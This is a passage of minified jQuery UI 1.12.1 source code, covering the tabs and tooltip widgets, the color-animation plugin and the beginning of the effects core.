                "aria-selected": "false",
                "aria-expanded": "false"
            }), n.length && s.length ? t.oldTab.attr("tabIndex", -1) : n.length && this.tabs.filter(function() {
                return 0 === A(this).attr("tabIndex")
            }).attr("tabIndex", -1), n.attr("aria-hidden", "false"), t.newTab.attr({
                "aria-selected": "true",
                "aria-expanded": "true",
                tabIndex: 0
            })
        },
        _activate: function(e) {
            var t, i = this._findActive(e);
            i[0] !== this.active[0] && (i.length || (i = this.active), t = i.find(".ui-tabs-anchor")[0], this._eventHandler({
                target: t,
                currentTarget: t,
                preventDefault: A.noop
            }))
        },
        _findActive: function(e) {
            return !1 === e ? A() : this.tabs.eq(e)
        },
        _getIndex: function(e) {
            return "string" == typeof e && (e = this.anchors.index(this.anchors.filter("[href$='" + A.ui.escapeSelector(e) + "']"))), e
        },
        _destroy: function() {
            this.xhr && this.xhr.abort(), this.tablist.removeAttr("role").off(this.eventNamespace), this.anchors.removeAttr("role tabIndex").removeUniqueId(), this.tabs.add(this.panels).each(function() {
                A.data(this, "ui-tabs-destroy") ? A(this).remove() : A(this).removeAttr("role tabIndex aria-live aria-busy aria-selected aria-labelledby aria-hidden aria-expanded")
            }), this.tabs.each(function() {
                var e = A(this),
                    t = e.data("ui-tabs-aria-controls");
                t ? e.attr("aria-controls", t).removeData("ui-tabs-aria-controls") : e.removeAttr("aria-controls")
            }), this.panels.show(), "content" !== this.options.heightStyle && this.panels.css("height", "")
        },
        enable: function(e) {
            var t = this.options.disabled;
            !1 !== t && (void 0 === e ? t = !1 : (e = this._getIndex(e), t = A.isArray(t) ? A.map(t, function(A) {
                return A !== e ? A : null
            }) : A.map(this.tabs, function(A, t) {
                return t !== e ? t : null
            })), this._setOptionDisabled(t))
        },
        disable: function(e) {
            var t = this.options.disabled;
            if (!0 !== t) {
                if (void 0 === e) t = !0;
                else {
                    if (e = this._getIndex(e), -1 !== A.inArray(e, t)) return;
                    t = A.isArray(t) ? A.merge([e], t).sort() : [e]
                }
                this._setOptionDisabled(t)
            }
        },
        load: function(e, t) {
            e = this._getIndex(e);
            var i = this,
                r = this.tabs.eq(e),
                o = r.find(".ui-tabs-anchor"),
                n = this._getPanelForTab(r),
                s = {
                    tab: r,
                    panel: n
                },
                a = function(A, e) {
                    "abort" === e && i.panels.stop(!1, !0), i._removeClass(r, "ui-tabs-loading"), n.removeAttr("aria-busy"), A === i.xhr && delete i.xhr
                };
            this._isLocal(o[0]) || (this.xhr = A.ajax(this._ajaxSettings(o, t, s)), this.xhr && "canceled" !== this.xhr.statusText && (this._addClass(r, "ui-tabs-loading"), n.attr("aria-busy", "true"), this.xhr.done(function(A, e, r) {
                setTimeout(function() {
                    n.html(A), i._trigger("load", t, s), a(r, e)
                }, 1)
            }).fail(function(A, e) {
                setTimeout(function() {
                    a(A, e)
                }, 1)
            })))
        },
        _ajaxSettings: function(e, t, i) {
            var r = this;
            return {
                url: e.attr("href").replace(/#.*$/, ""),
                beforeSend: function(e, o) {
                    return r._trigger("beforeLoad", t, A.extend({
                        jqXHR: e,
                        ajaxSettings: o
                    }, i))
                }
            }
        },
        _getPanelForTab: function(e) {
            var t = A(e).attr("aria-controls");
            return this.element.find(this._sanitizeSelector("#" + t))
        }
    }), !1 !== A.uiBackCompat && A.widget("ui.tabs", A.ui.tabs, {
        _processTabs: function() {
            this._superApply(arguments), this._addClass(this.tabs, "ui-tab")
        }
    }), A.ui.tabs, A.widget("ui.tooltip", {
        version: "1.12.1",
        options: {
            classes: {
                "ui-tooltip": "ui-corner-all ui-widget-shadow"
            },
            content: function() {
                var e = A(this).attr("title") || "";
                return A("<a>").text(e).html()
            },
            hide: !0,
            items: "[title]:not([disabled])",
            position: {
                my: "left top+15",
                at: "left bottom",
                collision: "flipfit flip"
            },
            show: !0,
            track: !1,
            close: null,
            open: null
        },
        _addDescribedBy: function(e, t) {
            var i = (e.attr("aria-describedby") || "").split(/\s+/);
            i.push(t), e.data("ui-tooltip-id", t).attr("aria-describedby", A.trim(i.join(" ")))
        },
        _removeDescribedBy: function(e) {
            var t = e.data("ui-tooltip-id"),
                i = (e.attr("aria-describedby") || "").split(/\s+/),
                r = A.inArray(t, i); - 1 !== r && i.splice(r, 1), e.removeData("ui-tooltip-id"), i = A.trim(i.join(" ")), i ? e.attr("aria-describedby", i) : e.removeAttr("aria-describedby")
        },
        _create: function() {
            this._on({
                mouseover: "open",
                focusin: "open"
            }), this.tooltips = {}, this.parents = {}, this.liveRegion = A("<div>").attr({
                role: "log",
                "aria-live": "assertive",
                "aria-relevant": "additions"
            }).appendTo(this.document[0].body), this._addClass(this.liveRegion, null, "ui-helper-hidden-accessible"), this.disabledTitles = A([])
        },
        _setOption: function(e, t) {
            var i = this;
            this._super(e, t), "content" === e && A.each(this.tooltips, function(A, e) {
                i._updateContent(e.element)
            })
        },
        _setOptionDisabled: function(A) {
            this[A ? "_disable" : "_enable"]()
        },
        _disable: function() {
            var e = this;
            A.each(this.tooltips, function(t, i) {
                var r = A.Event("blur");
                r.target = r.currentTarget = i.element[0], e.close(r, !0)
            }), this.disabledTitles = this.disabledTitles.add(this.element.find(this.options.items).addBack().filter(function() {
                var e = A(this);
                return e.is("[title]") ? e.data("ui-tooltip-title", e.attr("title")).removeAttr("title") : void 0
            }))
        },
        _enable: function() {
            this.disabledTitles.each(function() {
                var e = A(this);
                e.data("ui-tooltip-title") && e.attr("title", e.data("ui-tooltip-title"))
            }), this.disabledTitles = A([])
        },
        open: function(e) {
            var t = this,
                i = A(e ? e.target : this.element).closest(this.options.items);
            i.length && !i.data("ui-tooltip-id") && (i.attr("title") && i.data("ui-tooltip-title", i.attr("title")), i.data("ui-tooltip-open", !0), e && "mouseover" === e.type && i.parents().each(function() {
                var e, i = A(this);
                i.data("ui-tooltip-open") && (e = A.Event("blur"), e.target = e.currentTarget = this, t.close(e, !0)), i.attr("title") && (i.uniqueId(), t.parents[this.id] = {
                    element: this,
                    title: i.attr("title")
                }, i.attr("title", ""))
            }), this._registerCloseHandlers(e, i), this._updateContent(i, e))
        },
        _updateContent: function(A, e) {
            var t, i = this.options.content,
                r = this,
                o = e ? e.type : null;
            return "string" == typeof i || i.nodeType || i.jquery ? this._open(e, A, i) : void((t = i.call(A[0], function(t) {
                r._delay(function() {
                    A.data("ui-tooltip-open") && (e && (e.type = o), this._open(e, A, t))
                })
            })) && this._open(e, A, t))
        },
        _open: function(e, t, i) {
            function r(A) {
                I.of = A, n.is(":hidden") || n.position(I)
            }
            var o, n, s, a, I = A.extend({}, this.options.position);
            if (i) {
                if (o = this._find(t)) return void o.tooltip.find(".ui-tooltip-content").html(i);
                t.is("[title]") && (e && "mouseover" === e.type ? t.attr("title", "") : t.removeAttr("title")), o = this._tooltip(t), n = o.tooltip, this._addDescribedBy(t, n.attr("id")), n.find(".ui-tooltip-content").html(i), this.liveRegion.children().hide(), a = A("<div>").html(n.find(".ui-tooltip-content").html()), a.removeAttr("name").find("[name]").removeAttr("name"), a.removeAttr("id").find("[id]").removeAttr("id"), a.appendTo(this.liveRegion), this.options.track && e && /^mouse/.test(e.type) ? (this._on(this.document, {
                    mousemove: r
                }), r(e)) : n.position(A.extend({ of: t
                }, this.options.position)), n.hide(), this._show(n, this.options.show), this.options.track && this.options.show && this.options.show.delay && (s = this.delayedShow = setInterval(function() {
                    n.is(":visible") && (r(I.of), clearInterval(s))
                }, A.fx.interval)), this._trigger("open", e, {
                    tooltip: n
                })
            }
        },
        _registerCloseHandlers: function(e, t) {
            var i = {
                keyup: function(e) {
                    if (e.keyCode === A.ui.keyCode.ESCAPE) {
                        var i = A.Event(e);
                        i.currentTarget = t[0], this.close(i, !0)
                    }
                }
            };
            t[0] !== this.element[0] && (i.remove = function() {
                this._removeTooltip(this._find(t).tooltip)
            }), e && "mouseover" !== e.type || (i.mouseleave = "close"), e && "focusin" !== e.type || (i.focusout = "close"), this._on(!0, t, i)
        },
        close: function(e) {
            var t, i = this,
                r = A(e ? e.currentTarget : this.element),
                o = this._find(r);
            return o ? (t = o.tooltip, void(o.closing || (clearInterval(this.delayedShow), r.data("ui-tooltip-title") && !r.attr("title") && r.attr("title", r.data("ui-tooltip-title")), this._removeDescribedBy(r), o.hiding = !0, t.stop(!0), this._hide(t, this.options.hide, function() {
                i._removeTooltip(A(this))
            }), r.removeData("ui-tooltip-open"), this._off(r, "mouseleave focusout keyup"), r[0] !== this.element[0] && this._off(r, "remove"), this._off(this.document, "mousemove"), e && "mouseleave" === e.type && A.each(this.parents, function(e, t) {
                A(t.element).attr("title", t.title), delete i.parents[e]
            }), o.closing = !0, this._trigger("close", e, {
                tooltip: t
            }), o.hiding || (o.closing = !1)))) : void r.removeData("ui-tooltip-open")
        },
        _tooltip: function(e) {
            var t = A("<div>").attr("role", "tooltip"),
                i = A("<div>").appendTo(t),
                r = t.uniqueId().attr("id");
            return this._addClass(i, "ui-tooltip-content"), this._addClass(t, "ui-tooltip", "ui-widget ui-widget-content"), t.appendTo(this._appendTo(e)), this.tooltips[r] = {
                element: e,
                tooltip: t
            }
        },
        _find: function(A) {
            var e = A.data("ui-tooltip-id");
            return e ? this.tooltips[e] : null
        },
        _removeTooltip: function(A) {
            A.remove(), delete this.tooltips[A.attr("id")]
        },
        _appendTo: function(A) {
            var e = A.closest(".ui-front, dialog");
            return e.length || (e = this.document[0].body), e
        },
        _destroy: function() {
            var e = this;
            A.each(this.tooltips, function(t, i) {
                var r = A.Event("blur"),
                    o = i.element;
                r.target = r.currentTarget = o[0], e.close(r, !0), A("#" + t).remove(), o.data("ui-tooltip-title") && (o.attr("title") || o.attr("title", o.data("ui-tooltip-title")), o.removeData("ui-tooltip-title"))
            }), this.liveRegion.remove()
        }
    }), !1 !== A.uiBackCompat && A.widget("ui.tooltip", A.ui.tooltip, {
        options: {
            tooltipClass: null
        },
        _tooltip: function() {
            var A = this._superApply(arguments);
            return this.options.tooltipClass && A.tooltip.addClass(this.options.tooltipClass), A
        }
    }), A.ui.tooltip;
    var h = "ui-effects-",
        E = "ui-effects-style",
        u = "ui-effects-animated",
        Q = A;
    A.effects = {
            effect: {}
        },
        function(A, e) {
            function t(A, e, t) {
                var i = l[e.type] || {};
                return null == A ? t || !e.def ? null : e.def : (A = i.floor ? ~~A : parseFloat(A), isNaN(A) ? e.def : i.mod ? (A + i.mod) % i.mod : 0 > A ? 0 : A > i.max ? i.max : A)
            }

            function i(t) {
                var i = a(),
                    r = i._rgba = [];
                return t = t.toLowerCase(), g(s, function(A, o) {
                    var n, s = o.re.exec(t),
                        a = s && o.parse(s),
                        l = o.space || "rgba";
                    return a ? (n = i[l](a), i[I[l].cache] = n[I[l].cache], r = i._rgba = n._rgba, !1) : e
                }), r.length ? ("0,0,0,0" === r.join() && A.extend(r, o.transparent), i) : o[t]
            }

            function r(A, e, t) {
                return t = (t + 1) % 1, 1 > 6 * t ? A + 6 * (e - A) * t : 1 > 2 * t ? e : 2 > 3 * t ? A + 6 * (e - A) * (2 / 3 - t) : A
            }
            var o, n = /^([\-+])=\s*(\d+\.?\d*)/,
                s = [{
                    re: /rgba?\(\s*(\d{1,3})\s*,\s*(\d{1,3})\s*,\s*(\d{1,3})\s*(?:,\s*(\d?(?:\.\d+)?)\s*)?\)/,
                    parse: function(A) {
                        return [A[1], A[2], A[3], A[4]]
                    }
                }, {
                    re: /rgba?\(\s*(\d+(?:\.\d+)?)\%\s*,\s*(\d+(?:\.\d+)?)\%\s*,\s*(\d+(?:\.\d+)?)\%\s*(?:,\s*(\d?(?:\.\d+)?)\s*)?\)/,
                    parse: function(A) {
                        return [2.55 * A[1], 2.55 * A[2], 2.55 * A[3], A[4]]
                    }
                }, {
                    re: /#([a-f0-9]{2})([a-f0-9]{2})([a-f0-9]{2})/,
                    parse: function(A) {
                        return [parseInt(A[1], 16), parseInt(A[2], 16), parseInt(A[3], 16)]
                    }
                }, {
                    re: /#([a-f0-9])([a-f0-9])([a-f0-9])/,
                    parse: function(A) {
                        return [parseInt(A[1] + A[1], 16), parseInt(A[2] + A[2], 16), parseInt(A[3] + A[3], 16)]
                    }
                }, {
                    re: /hsla?\(\s*(\d+(?:\.\d+)?)\s*,\s*(\d+(?:\.\d+)?)\%\s*,\s*(\d+(?:\.\d+)?)\%\s*(?:,\s*(\d?(?:\.\d+)?)\s*)?\)/,
                    space: "hsla",
                    parse: function(A) {
                        return [A[1], A[2] / 100, A[3] / 100, A[4]]
                    }
                }],
                a = A.Color = function(e, t, i, r) {
                    return new A.Color.fn.parse(e, t, i, r)
                },
                I = {
                    rgba: {
                        props: {
                            red: {
                                idx: 0,
                                type: "byte"
                            },
                            green: {
                                idx: 1,
                                type: "byte"
                            },
                            blue: {
                                idx: 2,
                                type: "byte"
                            }
                        }
                    },
                    hsla: {
                        props: {
                            hue: {
                                idx: 0,
                                type: "degrees"
                            },
                            saturation: {
                                idx: 1,
                                type: "percent"
                            },
                            lightness: {
                                idx: 2,
                                type: "percent"
                            }
                        }
                    }
                },
                l = {
                    byte: {
                        floor: !0,
                        max: 255
                    },
                    percent: {
                        max: 1
                    },
                    degrees: {
                        mod: 360,
                        floor: !0
                    }
                },
                c = a.support = {},
                B = A("<p>")[0],
                g = A.each;
            B.style.cssText = "background-color:rgba(1,1,1,.5)", c.rgba = B.style.backgroundColor.indexOf("rgba") > -1, g(I, function(A, e) {
                e.cache = "_" + A, e.props.alpha = {
                    idx: 3,
                    type: "percent",
                    def: 1
                }
            }), a.fn = A.extend(a.prototype, {
                parse: function(r, n, s, l) {
                    if (r === e) return this._rgba = [null, null, null, null], this;
                    (r.jquery || r.nodeType) && (r = A(r).css(n), n = e);
                    var c = this,
                        B = A.type(r),
                        h = this._rgba = [];
                    return n !== e && (r = [r, n, s, l], B = "array"), "string" === B ? this.parse(i(r) || o._default) : "array" === B ? (g(I.rgba.props, function(A, e) {
                        h[e.idx] = t(r[e.idx], e)
                    }), this) : "object" === B ? (r instanceof a ? g(I, function(A, e) {
                        r[e.cache] && (c[e.cache] = r[e.cache].slice())
                    }) : g(I, function(e, i) {
                        var o = i.cache;
                        g(i.props, function(A, e) {
                            if (!c[o] && i.to) {
                                if ("alpha" === A || null == r[A]) return;
                                c[o] = i.to(c._rgba)
                            }
                            c[o][e.idx] = t(r[A], e, !0)
                        }), c[o] && 0 > A.inArray(null, c[o].slice(0, 3)) && (c[o][3] = 1, i.from && (c._rgba = i.from(c[o])))
                    }), this) : e
                },
                is: function(A) {
                    var t = a(A),
                        i = !0,
                        r = this;
                    return g(I, function(A, o) {
                        var n, s = t[o.cache];
                        return s && (n = r[o.cache] || o.to && o.to(r._rgba) || [], g(o.props, function(A, t) {
                            return null != s[t.idx] ? i = s[t.idx] === n[t.idx] : e
                        })), i
                    }), i
                },
                _space: function() {
                    var A = [],
                        e = this;
                    return g(I, function(t, i) {
                        e[i.cache] && A.push(t)
                    }), A.pop()
                },
                transition: function(A, e) {
                    var i = a(A),
                        r = i._space(),
                        o = I[r],
                        n = 0 === this.alpha() ? a("transparent") : this,
                        s = n[o.cache] || o.to(n._rgba),
                        c = s.slice();
                    return i = i[o.cache], g(o.props, function(A, r) {
                        var o = r.idx,
                            n = s[o],
                            a = i[o],
                            I = l[r.type] || {};
                        null !== a && (null === n ? c[o] = a : (I.mod && (a - n > I.mod / 2 ? n += I.mod : n - a > I.mod / 2 && (n -= I.mod)), c[o] = t((a - n) * e + n, r)))
                    }), this[r](c)
                },
                blend: function(e) {
                    if (1 === this._rgba[3]) return this;
                    var t = this._rgba.slice(),
                        i = t.pop(),
                        r = a(e)._rgba;
                    return a(A.map(t, function(A, e) {
                        return (1 - i) * r[e] + i * A
                    }))
                },
                toRgbaString: function() {
                    var e = "rgba(",
                        t = A.map(this._rgba, function(A, e) {
                            return null == A ? e > 2 ? 1 : 0 : A
                        });
                    return 1 === t[3] && (t.pop(), e = "rgb("), e + t.join() + ")"
                },
                toHslaString: function() {
                    var e = "hsla(",
                        t = A.map(this.hsla(), function(A, e) {
                            return null == A && (A = e > 2 ? 1 : 0), e && 3 > e && (A = Math.round(100 * A) + "%"), A
                        });
                    return 1 === t[3] && (t.pop(), e = "hsl("), e + t.join() + ")"
                },
                toHexString: function(e) {
                    var t = this._rgba.slice(),
                        i = t.pop();
                    return e && t.push(~~(255 * i)), "#" + A.map(t, function(A) {
                        return A = (A || 0).toString(16), 1 === A.length ? "0" + A : A
                    }).join("")
                },
                toString: function() {
                    return 0 === this._rgba[3] ? "transparent" : this.toRgbaString()
                }
            }), a.fn.parse.prototype = a.fn, I.hsla.to = function(A) {
                if (null == A[0] || null == A[1] || null == A[2]) return [null, null, null, A[3]];
                var e, t, i = A[0] / 255,
                    r = A[1] / 255,
                    o = A[2] / 255,
                    n = A[3],
                    s = Math.max(i, r, o),
                    a = Math.min(i, r, o),
                    I = s - a,
                    l = s + a,
                    c = .5 * l;
                return e = a === s ? 0 : i === s ? 60 * (r - o) / I + 360 : r === s ? 60 * (o - i) / I + 120 : 60 * (i - r) / I + 240, t = 0 === I ? 0 : .5 >= c ? I / l : I / (2 - l), [Math.round(e) % 360, t, c, null == n ? 1 : n]
            }, I.hsla.from = function(A) {
                if (null == A[0] || null == A[1] || null == A[2]) return [null, null, null, A[3]];
                var e = A[0] / 360,
                    t = A[1],
                    i = A[2],
                    o = A[3],
                    n = .5 >= i ? i * (1 + t) : i + t - i * t,
                    s = 2 * i - n;
                return [Math.round(255 * r(s, n, e + 1 / 3)), Math.round(255 * r(s, n, e)), Math.round(255 * r(s, n, e - 1 / 3)), o]
            }, g(I, function(i, r) {
                var o = r.props,
                    s = r.cache,
                    I = r.to,
                    l = r.from;
                a.fn[i] = function(i) {
                    if (I && !this[s] && (this[s] = I(this._rgba)), i === e) return this[s].slice();
                    var r, n = A.type(i),
                        c = "array" === n || "object" === n ? i : arguments,
                        B = this[s].slice();
                    return g(o, function(A, e) {
                        var i = c["object" === n ? A : e.idx];
                        null == i && (i = B[e.idx]), B[e.idx] = t(i, e)
                    }), l ? (r = a(l(B)), r[s] = B, r) : a(B)
                }, g(o, function(e, t) {
                    a.fn[e] || (a.fn[e] = function(r) {
                        var o, s = A.type(r),
                            a = "alpha" === e ? this._hsla ? "hsla" : "rgba" : i,
                            I = this[a](),
                            l = I[t.idx];
                        return "undefined" === s ? l : ("function" === s && (r = r.call(this, l), s = A.type(r)), null == r && t.empty ? this : ("string" === s && (o = n.exec(r)) && (r = l + parseFloat(o[2]) * ("+" === o[1] ? 1 : -1)), I[t.idx] = r, this[a](I)))
                    })
                })
            }), a.hook = function(e) {
                var t = e.split(" ");
                g(t, function(e, t) {
                    A.cssHooks[t] = {
                        set: function(e, r) {
                            var o, n, s = "";
                            if ("transparent" !== r && ("string" !== A.type(r) || (o = i(r)))) {
                                if (r = a(o || r), !c.rgba && 1 !== r._rgba[3]) {
                                    for (n = "backgroundColor" === t ? e.parentNode : e;
                                        ("" === s || "transparent" === s) && n && n.style;) try {
                                        s = A.css(n, "backgroundColor"), n = n.parentNode
                                    } catch (A) {}
                                    r = r.blend(s && "transparent" !== s ? s : "_default")
                                }
                                r = r.toRgbaString()
                            }
                            try {
                                e.style[t] = r
                            } catch (A) {}
                        }
                    }, A.fx.step[t] = function(e) {
                        e.colorInit || (e.start = a(e.elem, t), e.end = a(e.end), e.colorInit = !0), A.cssHooks[t].set(e.elem, e.start.transition(e.end, e.pos))
                    }
                })
            }, a.hook("backgroundColor borderBottomColor borderLeftColor borderRightColor borderTopColor color columnRuleColor outlineColor textDecorationColor textEmphasisColor"), A.cssHooks.borderColor = {
                expand: function(A) {
                    var e = {};
                    return g(["Top", "Right", "Bottom", "Left"], function(t, i) {
                        e["border" + i + "Color"] = A
                    }), e
                }
            }, o = A.Color.names = {
                aqua: "#00ffff",
                black: "#000000",
                blue: "#0000ff",
                fuchsia: "#ff00ff",
                gray: "#808080",
                green: "#008000",
                lime: "#00ff00",
                maroon: "#800000",
                navy: "#000080",
                olive: "#808000",
                purple: "#800080",
                red: "#ff0000",
                silver: "#c0c0c0",
                teal: "#008080",
                white: "#ffffff",
                yellow: "#ffff00",
                transparent: [null, null, null, 0],
                _default: "#ffffff"
            }
        }(Q),
        function() {
            function e(e) {
                var t, i, r = e.ownerDocument.defaultView ? e.ownerDocument.defaultView.getComputedStyle(e, null) : e.currentStyle,
                    o = {};
                if (r && r.length && r[0] && r[r[0]])
                    for (i = r.length; i--;) t = r[i], "string" == typeof r[t] && (o[A.camelCase(t)] = r[t]);
                else
                    for (t in r) "string" == typeof r[t] && (o[t] = r[t]);
                return o
            }

            function t(e, t) {
                var i, o, n = {};
                for (i in t) o = t[i], e[i] !== o && (r[i] || (A.fx.step[i] || !isNaN(parseFloat(o))) && (n[i] = o));
                return n
            }
            var i = ["add", "remove", "toggle"],
                r = {
                    border: 1,
                    borderBottom: 1,
                    borderColor: 1,
                    borderLeft: 1,
                    borderRight: 1,
                    borderTop: 1,
                    borderWidth: 1,
                    margin: 1,
                    padding: 1
                };
            A.each(["borderLeftStyle", "borderRightStyle", "borderBottomStyle", "borderTopStyle"], function(e, t) {
                A.fx.step[t] = function(A) {
                    ("none" !== A.end && !A.setAttr || 1 === A.pos && !A.setAttr) && (Q.style(A.elem, t, A.end), A.setAttr = !0)
                }
            }), A.fn.addBack || (A.fn.addBack = function(A) {
                return this.add(null == A ? this.prevObject : this.prevObject.filter(A))
            }), A.effects.animateClass = function(r, o, n, s) {
                var a = A.speed(o, n, s);
                return this.queue(function() {
                    var o, n = A(this),
                        s = n.attr("class") || "",
                        I = a.children ? n.find("*").addBack() : n;
                    I = I.map(function() {
                        return {
                            el: A(this),
                            start: e(this)
                        }
                    }), o = function() {
                        A.each(i, function(A, e) {
                            r[e] && n[e + "Class"](r[e])
                        })
                    }, o(), I = I.map(function() {
                        return this.end = e(this.el[0]), this.diff = t(this.start, this.end), this
                    }), n.attr("class", s), I = I.map(function() {
                        var e = this,
                            t = A.Deferred(),
                            i = A.extend({}, a, {
                                queue: !1,
                                complete: function() {
                                    t.resolve(e)
                                }
                            });
                        return this.el.animate(this.diff, i), t.promise()
                    }), A.when.apply(A, I.get()).done(function() {
                        o(), A.each(arguments, function() {
                            var e = this.el;
                            A.each(this.diff, function(A) {
                                e.css(A, "")
                            })
                        }), a.complete.call(n[0])
                    })
                })
            }, A.fn.extend({
                addClass: function(e) {
                    return function(t, i, r, o) {
                        return i ? A.effects.animateClass.call(this, {
                            add: t
                        }, i, r, o) : e.apply(this, arguments)
                    }
                }(A.fn.addClass),
                removeClass: function(e) {
                    return function(t, i, r, o) {
                        return arguments.length > 1 ? A.effects.animateClass.call(this, {
                            remove: t
                        }, i, r, o) : e.apply(this, arguments)
                    }
                }(A.fn.removeClass),
                toggleClass: function(e) {
                    return function(t, i, r, o, n) {
                        return "boolean" == typeof i || void 0 === i ? r ? A.effects.animateClass.call(this, i ? {
                            add: t
                        } : {
                            remove: t
                        }, r, o, n) : e.apply(this, arguments) : A.effects.animateClass.call(this, {
                            toggle: t
                        }, i, r, o)
                    }
                }(A.fn.toggleClass),
                switchClass: function(e, t, i, r, o) {
                    return A.effects.animateClass.call(this, {
                        add: t,
                        remove: e
                    }, i, r, o)
                }
            })
        }(),
        function() {
            function e(e, t, i, r) {
                return A.isPlainObject(e) && (t = e, e = e.effect), e = {
                    effect: e
                }, null == t && (t = {}), A.isFunction(t) && (r = t, i = null, t = {}), ("number" == typeof t || A.fx.speeds[t]) && (r = i, i = t, t = {}), A.isFunction(i) && (r = i, i = null), t && A.extend(e, t), i = i || t.duration, e.duration = A.fx.off ? 0 : "number" == typeof i ? i : i in A.fx.speeds ? A.fx.speeds[i] : A.fx.speeds._default, e.complete = r || t.complete, e
            }

            function t(e) {
                return !(e && "number" != typeof e && !A.fx.speeds[e]) || ("string" == typeof e && !A.effects.effect[e] || (!!A.isFunction(e) || "object" == typeof e && !e.effect))
            }

            function i(A, e) {
                var t = e.outerWidth(),
                    i = e.outerHeight(),
                    r = /^rect\((-?\d*\.?\d*px|-?\d+%|auto),?\s*(-?\d*\.?\d*px|-?\d+%|auto),?\s*(-?\d*\.?\d*px|-?\d+%|auto),?\s*(-?\d*\.?\d*px|-?\d+%|auto)\)$/,
                    o = r.exec(A) || ["", 0, t, i, 0];
                return {
                    top: parseFloat(o[1]) || 0,
                    right: "auto" === o[2] ? t : parseFloat(o[2]),
                    bottom: "auto" === o[3] ? i : parseFloat(o[3]),
                    left: parseFloat(o[4]) || 0
                }
            }
            A.expr && A.expr.filters && A.expr.filters.animated && (A.expr.filters.animated = function(e) {
                return function(t) {
                    return !!A(t).data(u) || e(t)
                }
            }(A.expr.filters.animated)), !1 !== A.uiBackCompat && A.extend(A.effects, {
                save: function(A, e) {
                    for (var t = 0, i = e.length; i > t; t++) null !== e[t] && A.data(h + e[t], A[0].style[e[t]])
                },
                restore: function(A, e) {
                    for (var t, i = 0, r = e.length; r > i; i++) null !== e[i] && (t = A.data(h + e[i]), A.css(e[i], t))
                },
                setMode: function(A, e) {
                    return "toggle" === e && (e = A.is(":hidden") ? "show" : "hide"), e
                },
                createWrapper: function(e) {
                    if (e.parent().is(".ui-effects-wrapper")) return e.parent();
                    var t = {
                            width: e.outerWidth(!0),
                            height: e.outerHeight(!0),
                            float: e.css("float")
                        },
                        i = A("<div></div>").addClass("ui-effects-wrapper").css({
                            fontSize: "100%",
                            background: "transparent",
                            border: "none",
                            margin: 0,
                            padding: 0
                        }),
                        r = {
                            width: e.width(),
                            height: e.height()
                        },
                        o = document.activeElement;
                    try {
                        o.id
                    } catch (A) {
                        o = document.body
                    }
                    return e.wrap(i), (e[0] === o || A.contains(e[0], o)) && A(o).trigger("focus"), i = e.parent(), "static" === e.css("position") ? (i.css({
                        position: "relative"
                    }), e.css({
                        position: "relative"
                    })) : (A.extend(t, {
                        position: e.css("position"),
                        zIndex: e.css("z-index")
                    }), A.each(["top", "left", "bottom", "right"], function(A, i) {
                        t[i] = e.css(i), isNaN(parseInt(t[i], 10)) && (t[i] = "auto")
                    }), e.css({
                        position: "relative",
                        top: 0,
                        left: 0,
                        right: "auto",
                        bottom: "auto"
                    })), e.css(r), i.css(t).show()
                },
                removeWrapper: function(e) {
                    var t = document.activeElement;
                    return e.parent().is(".ui-effects-wrapper") && (e.parent().replaceWith(e), (e[0] === t || A.contains(e[0], t)) && A(t).trigger("focus")), e
                }
            }), A.extend(A.effects, {
                version: "1.12.1",
                define: function(e, t, i) {
                    return i || (i = t, t = "effect"), A.effects.effect[e] = i, A.effects.effect[e].mode = t, i
                },
                scaledDimensions: function(A, e, t) {
                    if (0 === e) return {
                        height: 0,
                        width: 0,
                        outerHeight: 0,
                        outerWidth: 0
                    };
                    var i = "horizontal" !== t ? (e || 100) / 100 : 1,
                        r = "vertical" !== t ? (e || 100) / 100 : 1;
                    return {
                        height: A.height() * r,
                        width: A.width() * i,
                        outerHeight: A.outerHeight() * r,
                        outerWidth: A.outerWidth() * i
                    }
                },
                clipToBox: function(A) {
                    return {
                        width: A.clip.right - A.clip.left,
                        height: A.clip.bottom - A.clip.top,
                        left: A.clip.left,
                        top: A.clip.top
                    }
                },
                unshift: function(A, e, t) {
                    var i = A.queue();
                    e > 1 && i.splice.apply(i, [1, 0].concat(i.splice(e, t))), A.dequeue()
                },
                saveStyle: function(A) {
                    A.data(E, A[0].style.cssText)
                },
                restoreStyle: function(A) {
                    A[0].style.cssText = A.data(E) || "", A.removeData(E)
                },
                mode: function(A, e) {
                    var t = A.is(":hidden");
                    return "toggle" === e && (e = t ? "show" : "hide"), (t ? "hide" === e : "show" === e) && (e = "none"), e
                },
                getBaseline: function(A, e) {
                    var t, i;
                    switch (A[0]) {
                        case "top":
                            t = 0;
                            break;
                        case "middle":
                            t = .5;
                            break;
                        case "bottom":
                            t = 1;
                            break;
                        default:
                            t = A[0] / e.height
                    }
                    switch (A[1]) {
                        case "left":
                            i = 0;
                            break;
                        case "center":
                            i = .5;
                            break;
                        case "right":
                            i = 1;
                            break;
                        default:
                            i = A[1] / e.width
                    }
                    return {
                        x: i,
                        y: t
                    }
                },
                createPlaceholder: function(e) {
                    var t, i = e.css("position"),
                        r = e.position();
                    return e.css({
                        marginTop: e.css("marginTop"),
                        marginBottom: e.css("marginBottom"),
                        marginLeft: e.css("marginLeft"),
                        marginRight: e.css("marginRight")
                    }).outerWidth(e.outerWidth()).outerHeight(e.outerHeight()), /^(static|relative)/.test(i) && (i = "absolute", t = A("<" + e[0].nodeName + ">").insertAfter(e).css({
                        display: /^(inline|ruby)/.test(e.css("display")) ? "inline-block" : "block",
                        visibility: "hidden",
                        marginTop: e.css("marginTop"),
                        marginBottom: e.css("marginBottom"),
                        marginLeft: e.css("marginLeft"),
                        marginRight: e.css("marginRight"),
                        float: e.css("float")
                    }).outerWidth(e.outerWidth()).outerHeight(e.outerHeight()).addClass("ui-effects-placeholder"), e.data(h + "placeholder", t)), e.css({
                        position: i,
                        left: r.left,
                        top: r.top
                    }), t
                },
                removePlaceholder: function(A) {
                    var e = h + "placeholder",
                        t = A.data(e);
                    t && (t.remove(), A.removeData(e))
                },
                cleanUp: function(e) {
                    A.effects.restoreStyle(e), A.effects.removePlaceholder(e)
                },
                setTransition: function(e, t, i, r) {
                    return r = r || {}, A.each(t, function(A, t) {
                        var o = e.cssUnit(t);
                        o[0] > 0 && (r[t] = o[0] * i + o[1])
                    }), r
                }
            }), A.fn.extend({
                effect: function() {
                    function t(e) {
                        function t() {
                            s.removeData(u), A.effects.cleanUp(s), "hide" === i.mode && s.hide(), n()
                        }

                        function n() {
                            A.isFunction(a) && a.call(s[0]), A.isFunction(e) && e()
                        }
                        var s = A(this);
